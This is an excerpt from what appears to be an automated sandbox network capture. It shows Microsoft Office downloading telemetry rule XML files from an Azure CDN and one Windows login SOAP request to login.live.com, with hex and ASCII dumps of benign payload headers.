2024-11-19 19:05:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190540Z-r1d97b9957789nh9hC1TEBxha800000007y00000000068av x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	52424	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:40 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:40 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190540Z-185f5d8b95csd4bwhC1NYCq7dc000000091g00000000hdzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	52443	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:41 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:41 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190541Z-1777c6cb754n67brhC1TEBcp9c00000008gg00000000n9a1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:41 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.7	52441	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:41 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:41 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:41 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190541Z-r1d97b9957789g82hC1TEBstx000000007s000000000afhe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:41 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	52444	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:41 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:41 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190541Z-1777c6cb754xjpthhC1TEBexs800000008bg00000000ctnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:41 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	52442	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:41 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:41 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:41 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190541Z-185f5d8b95c4vwv8hC1NYCy4v4000000097g00000000nzgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:41 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	52445	20.190.160.22	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-19 19:05:41 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 19:05:42 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 19:04:42 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: c98c9c32-541b-4aa8-8b31-4d7953283e38 PPServer: PPV: 30 H: SN1PEPF0002F990 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 19:05:41 GMT Connection: close Content-Length: 1276
2024-11-19 19:05:42 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	52449	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:42 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:42 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:42 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190542Z-1777c6cb7544n7p6hC1TEByvb400000008gg00000000x0xx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:42 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	52450	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:42 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:42 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:42 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190542Z-185f5d8b95cx9g8lhC1NYCtgvc00000001dg00000000x3uu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:42 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	52451	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:42 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:42 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:42 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190542Z-1777c6cb754b7tdghC1TEBwwa400000008m000000000hxme x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:42 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	52452	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:42 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:42 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:42 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190542Z-1777c6cb754dqb2khC1TEBmk1s00000008b000000000xp9w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:42 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	52440	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
